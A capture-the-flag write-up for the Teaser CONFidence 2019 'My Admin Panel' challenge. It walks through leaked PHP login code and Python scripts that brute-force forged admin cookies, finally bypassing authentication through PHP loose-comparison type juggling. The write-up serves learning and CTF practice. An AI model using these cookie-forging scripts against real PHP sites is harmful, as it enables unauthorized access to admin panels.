Teaser conFidence Ctf 2019 was quite challenging for 24 hours. This week was mostly daddy week with some solves.
Web
My Admin Panel
- Challenge
- Given a link that looks like
- Some Recon
- The challenge is straight forward
login.php
- Blind click results in –>Not Authenticated
–> Authenticating should return the flag?login.php.bak
- Login php source code backup (we can view the source)- There exists a series of checks for the cookie
-
I have automated the full explanation to run as a python program so dividing it into chunks for more explanation. The full program is available at Code
- Login source code
from urllib import request
### Admin page recon
# * login.php requires admin privilege
# * login.php.bak - shows the source code
"""
<?php
include '../func.php';
include '../config.php';
if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}
if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");
for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}
exit("\n");
}
display_admin();
"""
- Initial request to result in
Not Authenticated
scenario. (Its nice that the p4 team added a check for user agent, using default python user-agent results in 403)
print("\n--> Attempt1 with no cookie!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
- Bypass check 1 - Include the
otadmin
cookie –> results in COOKIE TAMPERING xD IM A SECURITY EXPERT
print("\n--> Attempt2 with otadmin cookie - bypass check 1!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin=admin", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
- Bypass check 2 and 3 - bypass regex with the format of the cookie and a proper json format to decode
print("\n--> Attempt3 with otadmin cookie - bypass check 2!\n")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={"Cookie": "__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={'hash': '123ABC'}", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
print(res.read())
- results in throwing the hint
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
- Last check analysis (with the hint)
- ord(A-Z) & 0xC0 = 64 (any character and with 0xC0 is 64)
- ord(“0-9”) & 0xC0 = 0 (any number and with 0xC0 is 0)
- Length of md5 is 32 and is constant
ord("a-z") & 0xC0 == ord("a") & 192 == 64
ord("0-9") & -xC0 == 0
-
From the hint we know the md5(password) position of letters and numbers (hexDigest)
-
[Did not work]
Logic 1:
BruteForce all combination of hex characters (a-f and 0-9) at the position of the hint and enumerate.- This was meaning less and will take huge time….
- Going through all possible combinations for Hexadecimal at appropriate places with respect to hint – Might Take soosooo long!!
print("Possible characters in hexdigest are a-f and 0-9")
import itertools
alpha = list("abcdef")
number = list("0123456789")
hint = "0006464640640064000646464640006400640640646400"
hint = hint.replace("64", "A")
hint = hint.replace("0", "N")
for number_comb in itertools.product(number, repeat=18):
for alpha_comb in itertools.product(alpha, repeat=14):
print(number_comb, alpha_comb)
number_co = list(number_comb)
alpha_co = list(alpha_comb)
temp_hint = list(hint)
for i in range(len(temp_hint)):
if temp_hint[i] == "A":
temp_hint[i] = alpha_co.pop(0)
else:
temp_hint[i] = number_co.pop(0)
temp_hint = "".join(temp_hint).upper()
print("Requesting with cookie hash: "+temp_hint + " !...")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={'Cookie': '__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={"hash": \"%s\"}' % temp_hint, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
output = res.read()
print(output)
if "p4" in str(output):
break
- [Did not work]
Logic 2:
Known plaintext approach: md5 wordlist and lookup for the hash pattern matching- Running rockyou and prominent dictionary was in vain…
import hashlib, sys
wordlist = open(sys.argv[1], "r")
for word in wordlist.readlines():
word = word.strip()
md5hash = hashlib.md5(word).hexdigest()
result = ""
for i in range(len(md5hash)):
result += str(ord(md5hash[i]) & 0xC0)
if result == "0006464640640064000646464640006400640640646400":
#if result == "0064000640640646406464640006406400064640640064":
print word
break
print "\nDone!\n"
- Rethinking another approach…
- I was a bit dumb not to look at the question –>
Question says it was an issue with PHP
- I was a bit dumb not to look at the question –>
-
Helper ==>
Loose comparison vulnerability at https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
- In short
md5hash = 723abc..... Integer = 723 md5hash == Integer == TRUE
- Loose comparison cause type juggling –> the hash will be reduced to a number up until the first character and be casted to an integer when an integer json is provided
- based on the hint we have
00064
which means its a3 digit number
- lets iterate from
int(100 to 999)
as input
- based on the hint we have
for i in range(100, 999):
print("Requesting with cookie integer : "+ str(i) + " !...")
url = "https://gameserver.zajebistyc.tf/admin/login.php"
req = request.Request(url, headers={'Cookie': '__cfduid=d6ef65692e74464733b560c70f5847b951552766691; otadmin={"hash": %d}' % i, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})
res = request.urlopen(req)
output = res.read()
print(output)
if "p4" in str(output):
break
- Code in Action and Voila!
srimbp:algo sri$
srimbp:algo sri$ python3 solve.py
--> Attempt1 with no cookie!
b'Not authenticated.\n'
--> Attempt2 with otadmin cookie - bypass check 1!
b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'
--> Attempt3 with otadmin cookie - bypass check 2!
b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'
--> Attempt4 with otadmin cookie - bypass check 3!
b'COOKIE TAMPERING xD IM A SECURITY EXPERT\n'
64 == A-Z and 0 == 0-9
Length of md5 is 32
Hint: 0006464640640064000646464640006400640640646400
Requesting with cookie integer : 100 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 101 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
...
...
...
Requesting with cookie integer : 120 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 121 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 122 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 123 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 124 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 125 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 126 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 127 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 136 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 137 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 138 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 139 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 140 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 141 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 142 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 143 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 144 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
...
...
...
Requesting with cookie integer : 386 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 387 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 388 !...
b'I CAN EVEN GIVE YOU A HINT XD \n0006464640640064000646464640006400640640646400\n'
Requesting with cookie integer : 389 !...
b'Congratulations! p4{wtf_php_comparisons_how_do_they_work}\n'
srimbp:algo sri$